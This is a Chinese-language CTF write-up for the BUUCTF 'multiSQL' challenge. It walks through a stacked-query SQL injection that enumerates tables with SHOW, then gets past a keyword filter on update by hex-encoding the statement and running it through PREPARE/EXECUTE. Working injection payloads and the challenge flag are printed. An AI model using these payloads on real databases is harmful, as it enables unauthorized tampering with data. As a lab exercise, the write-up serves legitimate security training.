【CTF题解】BUUCTF - multiSQL 堆叠注入与预处理绕过
[BUUCTF] multiSQL 题解

题目分析
页面提供了一个昵称查询框,以及一个用于验证成绩的链接。简单测试后可以发现:题目的目标是修改用户“火华”的成绩,使其总分高于 425,再通过验证链接获取 Flag。


过滤情况与信息收集
尝试使用联合查询枚举表名和字段名时,发现输入存在关键字过滤。

经测试,select、union 和 update 均被过滤,常见的绕过写法也未能成功。不过,分号 ; 和 show 没有被拦截,因此可以利用堆叠注入执行 SHOW 语句来收集数据库结构信息。
先查询当前数据库中的表:
火华';show tables;

可以得到表名为 score。接着查询字段:
火华';show columns from score;

由回显可知,score 表包含以下字段:
usernamelistenreadwrite
绕过 update 过滤
已知表结构后,原本需要执行的更新语句为:
update score set listen=999 where username='火华';
由于 update 被 WAF 过滤,可以借助 MySQL 的预处理语句绕过检测。其核心思路是:先将 SQL 语句以十六进制形式存入变量,再使用 PREPARE 和 EXECUTE 间接执行。这样,输入中不会直接出现被拦截的 update 关键字。
将上述 SQL 转换为十六进制:
0x7570646174652073636f726520736574206c697374656e3d39393920776865726520757365726e616d653d27e781abe58d8e273b
最终提交的 Payload 如下:
火华';set @a=0x7570646174652073636f726520736574206c697374656e3d39393920776865726520757365726e616d653d27e781abe58d8e273b;prepare b from @a;execute b;--
成功执行后,“火华”的 listen 成绩会被改为 999,总分自然超过 425。也可以按需修改其他分数字段;关键是保证总分满足题目要求。
获取 Flag
执行 Payload 后,点击页面中的成绩验证链接,即可得到 Flag:

flag{Ju3t_use_mo2e_t2en_0ne_SQL}